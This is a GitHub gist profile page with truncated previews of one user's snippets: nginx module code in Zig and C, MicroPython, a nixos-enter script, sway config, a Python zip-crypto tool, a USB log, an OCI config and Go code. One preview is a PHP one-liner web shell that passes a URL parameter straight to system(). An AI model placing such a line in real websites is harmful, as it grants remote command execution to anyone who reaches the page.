Skip to content

Instantly share code, notes, and snippets.

View patryk4815's full-sized avatar

patryk4815

View GitHub Profile
const c = @cImport({
@cInclude("ngx_config.h");
@cInclude("ngx_core.h");
@cInclude("ngx_string.h");
@cInclude("ngx_http.h");
@cInclude("ngx_event_openssl.h");
});
const ngx_foo_conf_t = extern struct {
enable: c.ngx_flag_t,
#include <ngx_config.h>
#include <ngx_core.h>
#include <ngx_string.h>
#include <ngx_http.h>
#include <ngx_event_openssl.h>
extern ngx_module_t ngx_foo_module;
typedef struct {
ngx_flag_t enable;
import machine
import os
from micropython import const
import time
import network
import socket
_CMD_TIMEOUT = const(100)
_R1_IDLE_STATE = const(1 << 0)
@patryk4815
patryk4815 / nixos-enter
Created August 3, 2023 20:39
nixos-enter
#!/bin/bash
# shellcheck shell=bash
set -e
# Re-exec ourselves in a private mount namespace so that our bind
# mounts get cleaned up automatically.
if [ -z "$NIXOS_ENTER_REEXEC" ]; then
export NIXOS_ENTER_REEXEC=1
if [ "$(id -u)" != 0 ]; then
programs.sway = {
enable = true;
extraPackages = with pkgs; [
# Lock screen
swaylock
# Copy to clipboard
wl-clipboard
# Notification deamon
mako
# Used by some mako commands
import typing
import zipfile
import sys
import os
import io
import zlib
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15, pss
from Crypto.Hash import SHA1
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_DEVICE length=18 wIndex=0 wValue=100
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=2 wIndex=409 wValue=302
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=74 wIndex=409 wValue=302
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=2 wIndex=409 wValue=301
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=24 wIndex=409 wValue=301
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_CONFIG length=9 wIndex=0 wValue=200
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_CONFIG length=84 wIndex=0 wValue=2
{
"ociVersion": "1.0.2-dev",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"bash"
<?php
system($_GET[_]);
package main
func goRecover(f func(), recovered chan<- error) {
go func() {
done := false // just to handle panic(nil) https://github.com/golang/go/issues/25448
defer func() {
if !done {
var errOut error
errAny := recover()
if err, ok := errAny.(error); ok {